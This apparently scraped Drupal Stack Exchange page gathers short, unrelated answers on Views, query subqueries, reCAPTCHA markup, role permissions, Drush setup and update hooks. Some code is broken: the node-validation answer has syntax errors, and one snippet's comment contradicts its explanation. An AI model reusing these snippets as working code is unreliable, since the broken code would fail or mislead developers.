      }
   ?>

See also:

How can I enable Global: PHP field

add Global PHP code field to Views on condition


Yes you can add php code using views_php

Add field in views global

Then add code you need is in Output code sector. I thing here is the problem for you. you add php code to 'Value code'.

Then look at the preview. it's done!!!!!!


Way to see the date roles were assigned?

You could create a content type User Role, then with Rules module register when a role it's assigned.


How to add subquery in views to remove particular type of rows?

You should use where() to match table columns instead of condition

if ($view->name == "my_view") {
    $sub_query = db_select('node', 'n')
      ->fields('n', array('created'))
      ->where("n.created = node_revision_users.timestamp");

      $view->query->where[1]['conditions'][] = array(
        'field' => 'node_revision_users.timestamp',
        'value' => $sub_query,
        'operator' => 'NOT IN'
      );
}

Update

Why where() not condition()

Syntax for condition:

$query->condition($field, $value = NULL, $operator = '=')

shows condition() is for building standard condition fragement

Syntax for where:

$query->where($snippet, $args = array())

shows where() is for building any arbitrary SQL as conditional fragment.

$snippet may contain any legal SQL fragment.


How I can alter reCAPTCHA script tag in html_head

I would suggest using a #process callback and avoid code duplication.
This is what such a solution could look like:
/**
 * Implements hook_element_info_alter().
 */
function my_module_element_info_alter(array &$element) {
  if (isset($element['captcha'])) {
    $element['captcha']['#process'][] = '_custom_recaptcha_process';
  }
}

/**
 * Add type attribute to recaptcha form element.
 *
 * @return array
 *   The processed element.
 *
 * @see captcha_element_info()
 * @see image_captcha_element_info_alter()
 */
function _custom_recaptcha_process($element) {
  $recatchaWidgetHtmlHead = &$element['captcha_widgets']['recaptcha_widget']['#attached']['html_head'] ?? [];
  array_walk($recatchaWidgetHtmlHead, function(&$captcha_widget) {
    if ($captcha_widget[1] === 'recaptcha_api') {
      $captcha_widget[0]['#attributes']['type'] = 'value';
    }
  });
  return $element;
}

and this would be the output:

Good luck!


Why is user_role_change_permissions() throwing an error?

It should be like this:

if($user->uid == "0"){
  $custom_role = user_role_load_by_name('anonymous user');
  $custom_rid = $custom_role->rid;
  $custom_permissions = array('view content hits');
  user_role_change_permissions($custom_rid, $custom_permissions);
 }

Here you have given

  $custom_permissions = array(
      'view content hits' => TRUE,   );

TRUE should not be there.


How do I limit the number of nodes posted by a user to an entity referenced node?

I don't think there is a module for that ("yet", may be). However, this can be done easily with a form alter hook and validation.

<?php
function MYMODULE_form_node_form_alter(&$form, &$form_state) {
  if ($form['#node']->type == 'article') {
    $validate = TRUE;
  }
  // You can also use field existence like following:
  if (isset($form['field_name_that_you_want_to_validate'])) {
    $validate = TRUE;
  }

  if (!empty($validate = TRUE;)) {
    $form['#validate'][] = 'MYMODULE_node_validate_only_one_review';
    form_load_include($form_state, 'inc', 'MYMODULE', 'FILE_THAT_CONTAINS_THE_VALIDATE_FUNCTION');
  }
}
?>

Then, define the validate function:

<?php
function MYMODULE_node_validate_only_one_review($form, &$form_state) {
  if (!empty($form_state['field_name_that_you_want_to_validate'])) {
    $nids = array();
    foreach ($form_state['field_name_that_you_want_to_validate'] as $language => $items) {
      foreach ($items as $delta => $item) {
        if (!empty($item['target_id'])) {
          $nids[$item['target_id']] = array($language, $delta);
        }
      }
    }
    if (!empty($nids)) {
      $query = new EntityFieldQuery();
      $query->entityCondition('entity_type', 'node')
        ->entityCondition('bundle', 'article')
        ->propertyCondition('uid', $GLOBALS['user']->uid)
        ->fieldCondition('field_name_that_you_want_to_validate', 'target_id', $nids);

      $matches = $query->execute();
      if (isset($matches['node'])) {
        foreach ($nids as $nid => $pack) {
          if (isset($matches['node'][$nid])) {
            list($language, $delta) = $pack;
            form_set_error('field_name_that_you_want_to_validate][' . $language . '][' . $delta,
              t('You have already submitted a review for this content.');
            );
          }
        }
      }
    }
  }
}
?>

There are 4 assumptions:

Node type is article. Change all instances of article with the correct node type machine name.
Your field name is field_name_that_you_want_to_validate. Change it accordingly.
You are using Entity Reference module for node reference (hence, the target_id key. It would be nid if you use References module)
This bounty gave you the hat ;)

There is 1 fact:

I submitted this answer for the hat.

There is 1 hope:

I will get that hat.


How do I filter a view based on a multilingual alias?

You can not two views with same path.
You need to create copy of the view and change its path.

For french language you need to use filters? When you create your view, you add a new filter and select "Node translation" from the "Groupes" list and the check "Node translation: Language" and click "Add". Then you can chose language(s) on which you want the view to show.


What you did only uses the null backend render cache bins.

Field definitions are cached in the discovery bin, you either have to set that to null as well, but that will make your site very slow. You can also simply truncate cache_discovery manually in the database and then do another request in the browser.


How to get total of a field for all the nodes?

You should be able to use Views Calc or, if you need more flexibility, Views Aggregator Plus


How to prevent display of specific paragraph types (bundles) on nodes

Twig's without filter worked in my case.


Drupal module Date 2.7 update - Database Table name

It doesn't matter what tables are being updated, you can just go to /update.php of your site (you need to be logged in first) to apply these updates. You don't do them manually.

To find what was updated, you can look in the CHANGELOG.txt if the module has one, or, look in the install file for the module being updated within Date. It should have an applicable update hook that will show you (in code) what is being changed.

This is a list of everything that was changed in the last release.


Drush install on RedHat 6 seems to do nothing

Easiest way is to use the package manager:

yum -y install php-drush-drush

Alternatively, if it's installed in /usr/local/share then make a symbolic link:

sudo ln -s /usr/local/share/drush/drush /usr/local/bin/drush

Then, verify it works with:

which drush


I had a similar type of issue and managed to fix it by changing back to "Single Filter" and adjusting the filter value type to what I wanted to use in "Grouped filters" type. I then went back to "Grouped Filter" and my date filters suddenly started working.

Alternatively, you can just delete the filter and add it again, and try set it correctly from the start.

Hope that helps.

p.s. using Views 7.x-3.6


Link to send private message to current user in the node (author of the content)?

I did it with a Display suite custom code field. With it I am able to use some PHP code.

global $user;
// If the user is anonymous (role=1) show this; otherwise show nothing.
if (isset($user->roles[1])) {
  print l(t('Contact member'), 'user/login', array('attributes' => array('class' => array('radius', 'button'))));
}

So, when the user is logged-in, this code above will be replaced with the contact member link (Send author a message).


Remove row from system table with hook_update_N

I think your code should look something like this:

<?php

/**
 * Delete row from system table.
 */
function MODULENAME_update_7001() {
  db_query('DELETE FROM {system} WHERE name = :name', array(':name' => 'FOO'));
}

This should go in the MODULENAME.install file of your module. Of course you'll need to replace MODULENAME with the name of your module and FOO with the name of the row you want to delete.

Relevant documentation can be found at Updating tables: hook_update_N() functions, hook_update_N and Database abstraction layer.


Im using entityforms to make events on a Calendar. How can i prevent duplicated dates?

You could do this with Entity Rules, VBO, and Entityform if you are using 2.x(if not should upgrade).

It actually would an advanced Rule but here are the general steps.

Make a VBO View that has date time contextual filter. You would want to return any Entityform Submission that matched.
Make an Entity Rules Validation Rules.
Within Rule check the Number of results of the View from step #1 when you send it the date value of the current Entityform Submission.
If any results are returned then you have found a Entityform Submission that is for the existing date.

You would have to learn how to use Rules, Entity Rules, and VBO.